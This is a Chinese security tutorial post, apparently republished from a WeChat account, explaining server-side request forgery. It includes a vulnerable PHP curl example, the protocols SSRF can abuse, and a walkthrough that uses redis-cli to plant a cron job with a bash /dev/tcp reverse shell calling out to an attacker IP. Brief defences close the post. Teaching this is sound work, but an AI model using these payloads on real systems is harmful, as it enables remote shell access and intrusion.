前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SSRF(服务器请求伪造)

SSRF(服务器请求伪造)

作者头像
Khan安全团队
发布2020-07-07 14:36:44
1.7K0
发布2020-07-07 14:36:44
举报
文章被收录于专栏:Khan安全团队

大家好

我是早上渗透工程师、晚上健身教练、凌晨工厂保安的铁人三项打工仔。

1、漏洞原理

SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(正因为请求时由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统)

2、漏洞利用方式

1. 对其他外网主机,或者是对内网/本地主机进行断开扫描。

2. 利用file协议读取本地的敏感文件。

3. 攻击运行在内网或者本地不对外网开放的应用程序。

3、漏洞分析

在例子中,应用获取GET参数url,通过curl_init()初始化curl组件后,通过调用curl_exec请求该url,服务器端会去请求url返回一些信息。

代码如下:

<?php

$aa = curl_init();

curl_setopt(aa, CURLOPT_URL,_GET['url']);

curl_setopt($aa, CURLOPT_HEADER, 0);

curl_exec($aa);

curl_close($aa);

;?>

4、漏洞利用方式

http://192.168.124.145/ssrf.php?url=http://www.baidu.com

实现功能通过GET参数获取url内容,然后再服务器端访问http://www.baidu.com

5、支持的协议

1. http

能进行内网端口的探测-可以通过返回的时间以及返回的长度判断哪些端口开放

2. ftp

由于FTP协议对返回时间的长短比较精确,可以使用自动化的脚本来进行内网的端口扫描

3. dict

能进行内网端口的探测-可以探测到具体的版本号等等信息。

4. file

能够读取文件

5. gopher

能进行内网端口的探测-可以发送get或者来攻击内网的redis等服务。

6、使用ssrf攻击内网redis服务geteshll

在redis默认是无密码的服务,可以通过未经授权访问,写计划任务弹shell。以下是在普通情况下的getshell,使用payload代码如下:

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.124.129/6666 0>&1 \n\n\n" |redis-cli -h 127.0.0.1 -p 6379 -x set 1

redis-cli -h 127.0.0.1 -p 6379 config set dir /var/spool/cron/

redis-cli -h 127.0.0.1 -p 6379 config set dbfilename root

redis-cli -h 127.0.0.1 -p 6379 save

redis-cli -h 127.0.0.1 -p 6379 quit

然后在计划任务中,

监听6666端口,获得shell

在普通环境中,攻击无密码的redis服务写计划任务getshell就是以上的流程。

再利用gopher协议下的SSRF如何攻击redis服务getshell

先将上面的脚本转化城gopher协议所支持的格式:

Github脚本:https://github.com/tarunkant/Gopherus

再用bp进行一次URL编码,然后进行访问,再去靶机看看计划任务这时候已经生成

监听4444端口后反弹了shell

漏洞防御策略

1. 限制请求的协议,只允许http或者https协议请求

2. 限制不能访问内网IP,以防止对内网主机的攻击,同时也屏蔽IP的十进制输出。

3. 屏蔽返回的详细信息。


手握日月摘星辰,安全路上永不止步。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-07-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档